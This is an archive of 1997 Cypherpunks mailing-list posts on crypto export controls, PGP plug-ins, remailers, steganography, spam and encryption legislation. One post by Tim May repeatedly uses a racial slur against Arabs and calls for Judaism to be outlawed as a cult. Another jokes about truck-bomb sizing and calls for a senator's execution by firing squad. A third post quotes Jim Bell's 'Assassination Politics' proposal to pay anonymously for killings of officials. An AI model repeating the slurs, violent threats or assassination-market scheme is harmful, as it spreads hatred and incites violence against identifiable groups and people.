
:-)

> (Though actually SSLeay has been very useful to a lot of the
> world's free cryptography, and has prompted the US spooks 
> to pressure the Australian spooks into restricting crypto exports,
> just as they've pressured the NZs into restricting them for
> Peter Gutman, and have been trying to work on the Irish...)

Could you elaborate on these.  I caught Peter Gutmann's comments on
the hassles a company he did some work for were having with the NZ
spooks.  (The spooks intercepted their mailed disk, plus some other
cloak and dagger spookish stuff).  Is this still going on, was it ever
resolved?  Can the next version of cryptlib be exported legally?  Or
are we relying on Peters bravery?

I remember vaguely some announcments about Australia.  Has Eric said
anything on this, has anything been enforced, is it legal to export
SSLeay from down under?

Ireland is new to me.  What's their problem?  Who's exporting things
to attract spook export attention over there?  (There are quite a lot
of high tech companies over there, it's a sort of Euro silicon valley,
mostly due to tax breaks, 10% corporation tax, etc).

Btw, the UK has it's own problems also.  You can export whatever you
want in `intangible form', but to post something in a tangible form,
such as perhaps a CD (or a perl-rsa T-shirt?) you need permission from
DTI in consultation with GCHQ.  There are several forms of license you
can get depending on what GCHQ think of your product and of you
politically.  These vary between getting a license to export pretty
much anywhere except embargoed countries (Iraq, China, etc) without
further hassle, to having to ask for export permission on a case by
case basis, going down to permission for repeat exports to the same
customer.  The heuristic by which permission is handed out is nearly
impossible to extract from the beaurocrats/spooks.  (Give us
protocols, and a customer, and we'll tell you.)

I have it unofficially from the hosses mouth that if you make use of
the intangible export loophole, that it might "reduce" your chances of
getting permission to export tangibly.

I thought Ireland was similar, being based on European legislation,
though perhaps with less of an axe to grind than GCHQ, being as GCHQ
(CESG) are the authors of the euro GAK, (CASM/Cloud Cover/Royal
Holloway TTP scheme) and the TTP paper which caused a fuss last month.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



With the on-line availability of PGP 5.0 source code expected any day,
perhaps the group should consider what CP goals can now be made practical.
Hopefully, PGP will not object to CP uses.  I submit the following as CP
projects which could be substantially eased by the source code:

EMAIL PLUG-INS
PGP 5.0 contains some very good code examples for creating email plug-ins
for Microsoft Exchange for Windows 95 and Windows NT 4.0, Microsoft Outlook
for Windows 95 and Windows NT 4.0, Eudora Pro/Light for Windows 95, Windows
NT 4.0, Macintosh, Claris Emailer for Mac only.  For cross-platform ease, I
suggest we tackle the Eudora emailers, which have a well defined API, first.

1. Remailer:  One reason remailers haven't been as popular as we've hoped
is the need to operate separate, sometime difficult to use, remailer client
software.  By integrating these and other functions into plug-ins, creation
of persistant identities and integration with key generation and management
can be simplified.

2. Digital postage: CPs can gain the high-ground in the battle for handling
the SPAM problem by offering plug-ins which enforce restrictions on
incoming mail using digital postage.  Two postage approaches have been
discussed on the CP lists: ecash and hashcash.  I suggest that the plug-ins
offer both d-postage forms.

Hashcash is eligent in its simplicity and its lack of a required central
clearing facility. Hascash-based d-postage could also seed the development
of commercial distributed computing Net industry, as SPAMers elect to
purchase hashcash rather than generating it themselves-the idea isn't to
eliminate SPAM, just place it on similar economic footing with junk
snailmail. Adam Back has already done a considerable amount of
investigation of ways to implement hascash (See
http://www.dcs.ex.ac.uk/~aba/hashcash/).

ECash could really supply an economic shot in the arm for remailers, making
possible commercial (read profitable) remailers.  It will also offer a
ready-made market for accountless ecash, which will be available soon.
Jeremey Barrett's higher level ecash API should greatly simplify ecash
integration.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From shamrock at netcom.com  Sun Jun 22 17:11:49 1997
From: shamrock at netcom.com (Lucky Green)
Date: Mon, 23 Jun 1997 08:11:49 +0800
Subject: CP uses for the PGP 5.0 source
In-Reply-To: 
Message-ID: <3.0.2.32.19970622170551.0076d690@netcom9.netcom.com>



At 04:41 PM 6/22/97 -0700, Steve Schear wrote:
>1. Remailer:  One reason remailers haven't been as popular as we've hoped
>is the need to operate separate, sometime difficult to use, remailer client
>software.  By integrating these and other functions into plug-ins, creation
>of persistant identities and integration with key generation and management
>can be simplified.

Type I remailers were a nice proof of concept. Nothing more. What you want
is a Mixmaster client similar to PGP 5.0. I doubt the PGP source will be of
much help for this task.

>2. Digital postage: 

Has nothing to do with PGP. A different problem entirely.

[...]
>ECash could really supply an economic shot in the arm for remailers, making
>possible commercial (read profitable) remailers.  It will also offer a
>ready-made market for accountless ecash, which will be available soon.
>Jeremey Barrett's higher level ecash API should greatly simplify ecash
>integration.

Amen. What's the ETA?

Thanks,

--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From paul at fatmans.demon.co.uk  Sun Jun 22 17:16:13 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 23 Jun 1997 08:16:13 +0800
Subject: Decrypting DES
In-Reply-To: 
Message-ID: 




> *	The key has to be stored somewhere in the file, in whatever form,
> with which the entered key is compared. It could somehow be gotten hold
> of from there. Perhaps a hex editor could be used to scan the first few
> bytes of a file for the key.

No, the keys are not stored in the files in anything worth it`s salt, and 
if it is a passwd file it`ll be hashed anyway.

Depends entirely on the software, there are freely available crackers for 
files from a lot of micro$oft stuff, and some other popular programs such 
as pkzip etc... Otherwise get a good cryptgrapher to look at the 
software, run a sniffer on the network, a keygrabber on the machine, or 
give up.

For a good introduction covering much of the stuff you need try the 
sci.crypt FAQ.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From iang at cs.berkeley.edu  Sun Jun 22 17:47:04 1997
From: iang at cs.berkeley.edu (Ian Goldberg)
Date: Mon, 23 Jun 1997 08:47:04 +0800
Subject: Laying PipeNet
In-Reply-To: 
Message-ID: <5okgl4$tk4@abraham.cs.berkeley.edu>



In article <199706222045.VAA00836 at server.test.net>,
Adam Back   wrote:
>Does any of the CU-SeeMe stuff come with source code?  Cons: at 28.8k
>modem speed, the image frame rate is poor, but worse the audio is near
>unusable, also limited to 8 conference participants.

I haven't used CU-SeeMe precisely because I couldn't find either source
or a Linux binary.  I do use the Mbone tools (vic, vat, etc.) somewhat
often. :-)

   - Ian






From jrennie at hardy.ocs.mq.edu.au  Sun Jun 22 18:37:45 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Mon, 23 Jun 1997 09:37:45 +0800
Subject: spam on this list
Message-ID: 



NO i dont wish to post any, i just want to know if this list has spam 
sent to it ?? I started reciveing various pieces in the last couple of 
days and i'm trying to identify the source. 

thanx in advance,

jason =8-]






From jya at pipeline.com  Sun Jun 22 18:39:34 1997
From: jya at pipeline.com (John Young)
Date: Mon, 23 Jun 1997 09:39:34 +0800
Subject: spook pressure on crypto exports
Message-ID: <1.5.4.32.19970623013050.006ed9f4@pop.pipeline.com>



Adam Back asked for info crypto export news for AU, IE and NZ,
which I echo. I recall that Peter Gutmann has a standing request 
for crypto export info from anywhere. We'd like to host any reports 
that come in.

For those who've not seen it, his report on his bizarre trials is at:

   http://jya.com/nsazeal.htm

And a report on a weirdly similar UK experience by Mike Cobb is at:

   http://ukeep.htm

Documenting the various international experiences is a worthy
accompaniment to those of Bernstein, Karn and Junger, and about
the only way to expose global GAK at work. It seems to be 
spreading quietly, implemented case by case, wearing down 
isolated appliants with evasive procrastination, or promising a 
one-time approval, using the clock to threaten pending sales.







From jya at pipeline.com  Sun Jun 22 18:42:04 1997
From: jya at pipeline.com (John Young)
Date: Mon, 23 Jun 1997 09:42:04 +0800
Subject: spook pressure on crypto exports
Message-ID: <1.5.4.32.19970623013324.0067b6ec@pop.pipeline.com>



Correction: Mike Cobb's report on UK export is at:

   http://jya.com/ukeep.htm







From whgiii at amaranth.com  Sun Jun 22 18:46:40 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 23 Jun 1997 09:46:40 +0800
Subject: The Global Fix is In
In-Reply-To: 
Message-ID: <199706230140.UAA11813@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/21/97 
   at 10:16 AM, Tim May  said:

>It's not hopeless. Physical havens are vulnerable, to all sorts of
>pressures (I doubt many cryptographers want to set up shop in Libya or
>Iraq, not that these places would be hospitable to Cypherpunks sorts of
>goals and methods).

To bad Israel is so dependant on US $$$ I wouldn't mind going back there
and setting up shop. Alot of intresting crypto work is being done there.
Of cource with Palasinian "problem" I have no ideal what their current
export/remailer stance is.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM63U/49Co1n+aLhhAQGP1wQAyXldUetUa5omquNkKbUS5nVvc3iIoQqh
DkRcPjiWMnhjXcIdkCiqNG9lEpVAM/RLahs8MlpX+ROhtHrq1Nt8h+P+h9/Aq3Ov
xEH3QExCc3LmaotXWm+ibyCpnaUTwcOjIAUcDNk7YqBADSGqFqBqi5sg3wFRl26d
bYLQN4gYguw=
=hv0W
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Sun Jun 22 19:05:45 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 23 Jun 1997 10:05:45 +0800
Subject: Canarypunk: Jim Bell in a coalmine
Message-ID: <199706230158.DAA25236@basement.replay.com>



Free speech - Unless Govt. doesn't like it

>From           talltom <"talltom(SPAMBLOCKER)"@ipns.com>
Organization   Alternate Access Inc.
Date           Sat, 21 Jun 1997 19:23:39 -0700
Newsgroups     or.politics
Message-ID     <33AC8CAB.199F at ipns.com>

This is in reference to a local, that's being held incommunicado
in Tacoma. I've personally tried to contact Jim and the Marshalls 
office said they'd "try" to get a message to him, wouldn't give me an 
address, and were REALLY interested in my address.

 I believe the reason for holding Jim incomunicado is that the ACLU
requires that the accused ask them for help, and the feds know that
if Jim can't ask he won't get their help.

Vin covers the situation nicely...

[Vin Suprynowicz column:]

    In the summer of 1995, 39-year-old electronics engineer Jim Bell of
Vancouver, Wash. (coincidentally the scene of the climactic battle 
between militia and central government forces in Ian Slater's current 
potboiler paperback "Showdown: U.S.A. vs. Militia,") penned an intriguing 
and controversial essay called "Assassination Politics," which has since 
been kicking around various Internet discussion groups, triggering 
responses from delight to outrage.

  This section from Mr. Bell's introduction gives the gist:

  "A few months ago, I had a truly and quite literally 'revolutionary'
idea, and I jokingly called it 'Assassination Politics': I speculated on
the question of whether an organization could be set up to legally 
announce that it would be awarding a cash prize to somebody who correctly
'predicted' the death of one of a list of violators of rights, usually
either government employees, officeholders, or appointees. It could ask 
for anonymous contributions from the public, and individuals would be able 
send those contributions using digital cash.

  "I also speculated that using modern methods of public-key encryption 
and anonymous 'digital cash,' it would be possible to make such awards in 
such a way so that nobody knows who is getting awarded the money, only that 
the award is being given. Even the organization itself would have no
information that could help the authorities find the person responsible 
for the prediction, let alone the one who caused the death. ...

  "Obviously, the problem with the general case is that the victim may be
totally innocent under libertarian principles, which would make the 
killing a crime, leading to the question of whether the person offering the 
money was himself guilty.

  "(But) my speculation assumed that the 'victim' is a government 
employee, presumably one who is not merely taking a paycheck of stolen tax 
dollars, but also is guilty of extra violations of rights beyond this. 
(Government agents responsible for the Ruby Ridge incident and Waco come 
to mind.) In receiving such money and in his various acts, he violates the
'Non-aggression Principle' (NAP) and thus, presumably, any acts against 
him are not the initiation of force under libertarian principles.

  "The organization set up to manage such a system could, presumably, 
make up a list of people who had seriously violated the NAP, but who would 
not see justice in our courts due to the fact that their actions were done 
at the behest of the government. ..."

  In a followup essay titled "Fishing Expedition Swims Against the Tide,"
published in the May 14 edition of the daily Portland Oregonian, Bell
wrote, in part:

  "... I've been openly debating the idea on the Internet since then with
anyone who will listen. My essay surprises many and shocks more than a
few, but I am pleased that such a truly revolutionary concept has been so
well received. Even the Columbian newspaper (www.columbian.com) has 
decided to add a pointer to the essay.

  "The only 'threat' in the essay is to the jobs of the people who have
been parasites on the rest of us for decades, as well as to the future of
tyrannies around the world.  But that's why, on April 1, 20 federal 
agents burst in and took my computer, told the news media I was 'armed and
dangerous,' and began engaging in a fishing expedition including 
harassing people simply for knowing me. (No arrest or charges so far.) ..."

  The charges were forthcoming.

  Jim Bell was arrested on Friday, May 16, and has been held ever since,
without bond, in the Pierce County Jail in Tacoma, Wash., on a federal
complaint which alleges:

  "Beginning at a time unknown, and continuing to the present, ... JAMES
DALTON BELL did corruptly obstruct and impede ... the due administration 
of the internal revenue laws, among other things, by collecting the names 
and home addresses of agents and employees of the Internal Revenue Service
('IRS') in order to intimidate them in the performance of their official
functions; by soliciting others to join in a scheme known as 'Assassination
Politics' whereby those who killed IRS employees would be rewarded; by
using social security account numbers that were not assigned to him to 
hide his assets and thereby impede the IRS's ability to collect his unpaid
taxes, and by contaminating the area outside of the office of the IRS in
Vancouver, Washington, with mercaptan, a chemical that causes a powerful
odor."

  Nor does the complaint stop short with an alleged "stink bomb" floor 
mat, proceeding to allege that Mr. Bell has at times discussed poisoning 
water supplies, sabotaging government computers, and, well ... 
"overthrowing the Government of the United States."

  The question here would appear to be whether Mr. Bell has actually 
taken substantive steps, as alleged, to "implement" the theory in his 
speculative Internet essay, or whether it is the IRS -- who since Feb. 20 
have seized the heretofore non-violent Mr. Bell's car, wages and bank 
accounts (presumably stymying at the very last minute his plan to 
"overthrow the Government of the United States") -- who are doing the 
"threatening and intimidating," in an attempt to send a message to anyone 
who dares speculate about how justice might ever be obtained against 
federal agents ... given that they are rarely if ever indicted, even for 
the willful murder of children, as at Waco and Ruby Ridge.

  If the defendant Bell has indeed taken substantive steps to set in 
motion the murder of any specific government agent, that of course is a 
crime, for which he should expect to face the consequences.

  On the other hand, if writings of the "what if someone ..." variety 
have now become a felony so serious that one can be seized and held 
without bond, most of America's adventure and science fiction writers -- 
who up till now have felt safe spinning thinly-veiled yarns about 
near-future government coups and such -- had better watch their 
backsides.

  Mr. Bell's attorney, Peter Avenia of the Public Defenders Office in
Tacoma, says he fully expects Mr. Bell to be indicted by a federal grand
jury within the next few weeks.

  I asked Mr. Avenia if he believes the case will present substantive 
First Amendment questions.

  "It certainly does concern me."

  Is the IRS making an example of Mr. Bell, to chill any further
discussions on the Internet of how justice can ever be had in the case of
uniformed killers who apparently need no longer fear being indicted or
brought to trial in this country?

  "It's certainly a possibility. In the context of the Oklahoma City
bombing it's certainly a hostile atmosphere for any such defendant. I 
think we can certainly ask whether the government is trying to send a 
message to people who pen inflammatory writings."

  Defense attorney Avenia can be reached at the Federal Public Defenders
Office, 1551 Broadway, Suite 501, Tacoma, Wash. 98402. The essay
"Assassination Politics" is available on the Internet at
http://jya.com/ap.htm. The current federal complaint against Mr. Bell can
be found at http://jya.com/jimbell3.htm

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin at lvrj.com. The 
web site for the Suprynowicz column is at http://www.nguworld.com/vindex/

***

Vin Suprynowicz,   vin at lvrj.com

Voir Dire: A French term which means "jury stacking."







From azur at netcom.com  Sun Jun 22 19:19:46 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 23 Jun 1997 10:19:46 +0800
Subject: Sources for stego images, was re: Laying PipeNet
In-Reply-To: 
Message-ID: 



>That's the major problem with images, you need to generate your own.
>Unless you fancy writing an image enhancement system, and analyse the
>algorithms in existing systems to ensure that randomness is
>introduced.
>

There are plenty of Net-cams watching traffic or sunsets around the world.
Since these images tend to change a bit from frame to frame they could
cheaply and reliably provide the sorts of images which are ideal for stego.
I'm not sure if you can frame-grab from such a changing Web page with the
current browser features, but this should be a significant hurdle.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From declan at pathfinder.com  Sun Jun 22 19:22:40 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 23 Jun 1997 10:22:40 +0800
Subject: The Global Fix is In
In-Reply-To: <3.0.32.19691231160000.006c4dd0@best.com>
Message-ID: 



Without taking a position on the rest of the following post, I should say
that it's the conservative thinktanks and grassroots groups that are
leading the opposition to all administration proposals and are taking a
crypto-absolutist stance. 

-Declan

Sure, libertarian groups are just as good or better, but there are fewer
of them. (Cato -still- hasn't come out with their crypto policy analysis
even after they've been working on it for half a year. At least their
privacy paper should be coming out soon. And CEI doesn't have the staff to
devote someone to this issue.) They've done a few conferences and such,
but they're limited by numbers. 



On Sun, 22 Jun 1997 geeman at best.com wrote:

> massive investments being made by Industry in the conservative thinktanks
> who produce the
> intellectual fodder-de-jour that supports the position of this elite, and
> overwhelm the
> likes of McCain and Kerrey with
> impossible-for-the-legislature-to-understand managed 






From rwright at adnetsol.com  Sun Jun 22 19:28:17 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Mon, 23 Jun 1997 10:28:17 +0800
Subject: spam on this list
Message-ID: <199706230222.TAA04375@adnetsol.adnetsol.com>



On or About 23 Jun 97 at 11:26, Jason William RENNIE wrote:

> NO i dont wish to post any, i just want to know if this list has
> spam sent to it ?? I started reciveing various pieces in the last
> couple of days and i'm trying to identify the source. 

Spam *is* free speech, you know. 

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From tcmay at got.net  Sun Jun 22 19:29:00 1997
From: tcmay at got.net (Tim May)
Date: Mon, 23 Jun 1997 10:29:00 +0800
Subject: The Zionist Entity a good place to do crypto?
In-Reply-To: 
Message-ID: 



At 6:41 PM -0700 6/22/97, William H. Geiger III wrote:

>In , on 06/21/97

>To bad Israel is so dependant on US $$$ I wouldn't mind going back there
>and setting up shop. Alot of intresting crypto work is being done there.
>Of cource with Palasinian "problem" I have no ideal what their current
>export/remailer stance is.

Israel? I don't get the joke....

Israel is a controlling, f$sc%st state in many ways. (I typed "f$sc%st"
because many are unreasonably offended when the f-word is used in
conjuction with the Zionist Entity.)

Look into IDF control of most of the leading Israeli electronics companies.
Look into Shin Bet, Mossad, the Pollard case, Dimona, and so on.

Also, Israel is one of the world's major "soft targets." Look to see Tel
Aviv vaporized one of these days. A nation formed by stealing land from
"sand niggers" (what the Brits called Arabs) and having these sand niggers
only a few miles across a poor geographic barrier....the very definition of
a soft target.

As for a lot of "interesting work," there is no doubt that Shamir and his
students are doing wonderful work. One genius and his team do not make up
for the many other problems with Israel.

(If the Germans are able to get Scientology declared to be a dangerous
cult, partly because of its violent activities and its strange beliefs,
can't they have Judaism similarly declared to be an illegal cult? A cult
which believes God gave them some land, and that Jews born in Poland,
Russia, Lithuania, and not having any ancestors in Palestine for 1000 or
2000 or more years (or never), have a religious right to kick the sand
niggers off their farms in Haifa....sounds worse than Scientology. By the
way, I strongly disagree with  the German assault on Scientology....I have
told my good friend Keith Henson that his battle with Scientology is
dangerous.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jrennie at hardy.ocs.mq.edu.au  Sun Jun 22 20:05:00 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Mon, 23 Jun 1997 11:05:00 +0800
Subject: spam on this list
In-Reply-To: <199706230222.TAA04375@adnetsol.adnetsol.com>
Message-ID: 




> > NO i dont wish to post any, i just want to know if this list has
> > spam sent to it ?? I started reciveing various pieces in the last
> > couple of days and i'm trying to identify the source. 
> 
> Spam *is* free speech, you know. 
> 
> Ross
> 

Thats fine but, i dont want to be invited to look at nasty naked 
cheerleaders. And isn't it somewhat problematic when a 15 yr old looks at 
the mail box ?? BEsides i hate junk mail too, and if i could stick a no 
junk mail sticker on my email i would.

Can this be done ?? Any ideas anybody ??

Jason =8-]






From tcmay at got.net  Sun Jun 22 20:37:16 1997
From: tcmay at got.net (Tim May)
Date: Mon, 23 Jun 1997 11:37:16 +0800
Subject: Bomb-making instructions....
Message-ID: 




The latest crime for which Senator Diane Swinestein has earned the
[CENSORED] is her "bomb-making instructions on the Internet are illegal"
bill.

But I have a question. Does this mean CNN will face prosecution if it
publishes the transcripts of the McVeigh case?

Keith Henson, an explosives enthusiast since the early 1960s, was
describing to us last night at a Silicon Valley party just how accurate the
instructions were in the transcripts of the McVeigh trial, as the experts
pointed out the steps needed to make the liquid explosive "Astrolight" (or
"Astrolite"). Keith pointed out that most of the "lay" reports had repeated
some of the usual lay errors about ammonium nitrate and fuel oil bombs, but
that the full court transcript "got it right" on the conversion of the
precursors to the more effective liquid form. It was Keith who raised the
issue of the Swinestein bill making publication of court transcripts a
crime...sort of collides with the notion of open trials....

(This party was a regular plotting opportunity...we figured out just how
big a Ryder truck has to be to hold the "ergs" needed to take down some
targets that sorely need taking down...all in theory, you understand.)

We need to hold a trial for this bitch. Then a quick trip to the firewall.



--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From shamrock at netcom.com  Sun Jun 22 20:42:40 1997
From: shamrock at netcom.com (Lucky Green)
Date: Mon, 23 Jun 1997 11:42:40 +0800
Subject: Sources for stego images, was re: Laying PipeNet
In-Reply-To: <199706222045.VAA00836@server.test.net>
Message-ID: <3.0.2.32.19970622203437.0069aa98@netcom9.netcom.com>



At 07:18 PM 6/22/97 -0700, Steve Schear wrote:
>There are plenty of Net-cams watching traffic or sunsets around the world.
>Since these images tend to change a bit from frame to frame they could
>cheaply and reliably provide the sorts of images which are ideal for stego.

Take a look at iSpy, webcam software for Win95/NT. http://www.ispy.nl/

BTW, iSpy was written by Marcel van der Peijl, former head of development
at DigiCash.

--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From tcmay at got.net  Sun Jun 22 20:50:55 1997
From: tcmay at got.net (Tim May)
Date: Mon, 23 Jun 1997 11:50:55 +0800
Subject: spam on this list
In-Reply-To: <199706230222.TAA04375@adnetsol.adnetsol.com>
Message-ID: 



At 7:51 PM -0700 6/22/97, Jason William RENNIE wrote:

>Thats fine but, i dont want to be invited to look at nasty naked
>cheerleaders. And isn't it somewhat problematic when a 15 yr old looks at
>the mail box ?? BEsides i hate junk mail too, and if i could stick a no
>junk mail sticker on my email i would.

You're on the wrong list. We favor free speech, including inviting
15-year-olds to look at pictures of their choosing on the Net. They don't
_have_ to look, after all.

Perhaps you should join forces with Sen. McCain and Sen. Feinswine, or your
versions in your own country. Or move to Iran. Or something.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sun Jun 22 21:01:22 1997
From: tcmay at got.net (Tim May)
Date: Mon, 23 Jun 1997 12:01:22 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <199706222220.AAA26096@basement.replay.com>
Message-ID: 



At 3:53 PM -0700 6/22/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <199706222220.AAA26096 at basement.replay.com>, on 06/23/97
>   at 12:20 AM, nobody at REPLAY.COM (Anonymous) said:
>
>>>  Digital Commerce *is* Financial Cryptography,
>>>  Financial Cryptography *is* Strong Cryptography,
>>>  therefore,
>>>  Digital Commerce *is* Strong Cryptography.
>>>  and, therefore,
>>>  No Strong Cryptography, no Digital Commerce.
>
>>Why can't escrowed ecash support digital commerce?  Strong crypto with a
>>government backdoor.  That's what you're offered.  Prove it can't work.
>
>Because no one with any sence is going to trust their finacial
>transactions to third party access and minipulation.

People do it all the time. The "third parties" are called "bankers." (And
escrow agents, and loan officers, and bank guards, and so on.)

I agree with "anonymous" that Bob Hettinga's syllogism is unconvincing.

Now, I happen to believe that untraceable, strong communications and
monetary instruments allow for amazing things.

But claiming that digital commerce is impossible with an escrowed key
system is not a very persuasive argument. (It is true that some major hacks
of the escrowed system would undermine confidence in e-commerce, but so
would major hacks of today's SWIFT or similar systems. So?)

Bob's syllogism is just too simplistic, and it won't be convicing to people
who have to deal with human weak links in existing systems, and even with
government interference and government ability to intervene (FinCEN,
freezing of assets, regulation, etc.).

Beware too much simplification. It may make for nice t-shirts, but....

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Sun Jun 22 21:08:36 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 23 Jun 1997 12:08:36 +0800
Subject: Washington Post says McCain-Kerrey bill "raises red flags"
Message-ID: 





---------- Forwarded message ----------
Date: Sun, 22 Jun 1997 20:52:08 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: Washington Post says McCain-Kerrey bill "raises red flags"

The Washington Post has a long history of endorsing the
Clinton administration's position on export controls of
encryption products. On June 10, 1996 the paper
editorialized that "national security and law enforcement
questions remain too important to be sacrificed lightly."
On July 27, 1996: "Congress should be exceedingly cautious
about getting out ahead of administration concerns on
controls." "Unbreakable codes on the loose strike us as a
real danger, a legitimate reason for tight export
controls," the Post said on October 4, 1996 -- worrying
the White House wasn't strict enough -- and again last month.

But even the Post couldn't quite stomach the McCain-Kerrey
bill that the Senate Commerce committee approved last week.
In an editorial today, the Post said:

	...the McCain-Kerrey legislation goes the
	other way, seeking to expand such
	restrictions to cover most of the uses of
	encryption software in the United States.
	That proposal raises red flags even if you
	believe, as we do, that there are
	legitimate national security and law
	enforcement reasons for controlling the
	diffusion of such `robust' coding software
	overseas.

Below I've attached five Washington Post editorials
on encryption. Thanks to Alan Olsen, Peter Trei,
and especially John Young for holding on to these
editorials and sending them to me.
	
-Declan

---

Senate Commerce committee and McCain-Kerrey bill:

  http://www.jya.com/declan3.txt

  http://www.jya.com/declan2.txt

Problems with SAFE and ProCODE:

  http://cgi.pathfinder.com/netly/editorial/0,1012,1022,00.html

Kerrey crypto-bill:

  http://cgi.pathfinder.com/netly/editorial/0,1012,931,00.html

------

Net Tangle on Privacy
   
   Sunday, June 22, 1997; Page C06
   The Washington Post
   
   
   PITY THE senator or representative who still hasn't quite mastered the
   details of how the Internet works, or the difference between the World
   Wide Web and e-mail. On the Net-related issues that, by all
   indications, draw the most urgent public interest -- those relating to
   privacy protection -- there are now multiple clumps of competing
   bills, whose differences are both highly important and highly
   technical.
   
   Three of these involve different strategies to curb junk e-mail; two,
   diametrically opposed, concern encryption. All these bills are
   tangential, strictly speaking, to the basic concern expressed at
   hearings before the Federal Trade Commission: how to safeguard
   personal and sensitive data about yourself once it gets into the hands
   of institutions and third parties. (The commission itself is weighing
   whether to recommend such legislation based on what it heard.) But any
   of them could powerfully affect future privacy protection.
   
   A striking example is the newest bill on encryption, sponsored by
   Sens. Robert Kerrey and John McCain, which the Senate Commerce
   Committee on Thursday voted to adopt as a replacement for a
   long-standing proposal by Sen. Conrad Burns, dubbed Pro-CODE. Where
   the Burns bill would have lifted restrictions on the export of
   "uncrackable" encryption software abroad -- restrictions that the
   administration has fought to maintain for national security reasons --
   the McCain-Kerrey legislation goes the other way, seeking to expand
   such restrictions to cover most of the uses of encryption software in
   the United States. That proposal raises red flags even if you believe,
   as we do, that there are legitimate national security and law
   enforcement reasons for controlling the diffusion of such `robust'
   coding software overseas.
   
   The bill, offered as a compromise between the administration's
   priorities and those of Congress, shows how difficult it is to square
   this particular circle. It would require users of domestic networks
   with any government funding (such as universities, many hospitals and
   government contractors) to deposit an extra "key" to their codes with
